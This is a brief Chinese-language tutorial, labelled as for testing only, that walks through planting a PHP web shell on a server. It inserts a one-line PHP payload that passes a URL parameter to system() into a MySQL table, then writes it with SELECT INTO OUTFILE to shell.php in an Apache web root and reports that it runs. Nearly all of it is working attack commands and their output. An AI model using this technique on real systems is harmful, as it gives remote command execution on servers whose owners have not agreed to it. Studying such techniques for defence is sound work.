本文只用于测试:
1、假如有mysql-test数据库中有一张表t(结构如下):
mysql> desc t;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| nam | varchar(100) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.03 sec)
2、插入一条数据:
mysql> insert into t values("<?php $id=$_GET['id'];system ($id);?>");
Query OK, 1 row affected (0.05 sec)
查证:
mysql> select * from t;
+---------------------------------------+
| nam |
+---------------------------------------+
| |
+---------------------------------------+
1 row in set (0.00 sec)
3、用t表中的数据生成shell.php文件:
mysql> select * from t into outfile "D:/Program Files/Apache Software Foundation/Apache2.2/htdocs/shell.php";
Query OK, 1 row affected (0.00 sec)
4、运行shell.php文件:
可以看到测试成功了!!!
注意:插入数据用“”号;
php中用$id=$_GET['id']得到传递参数。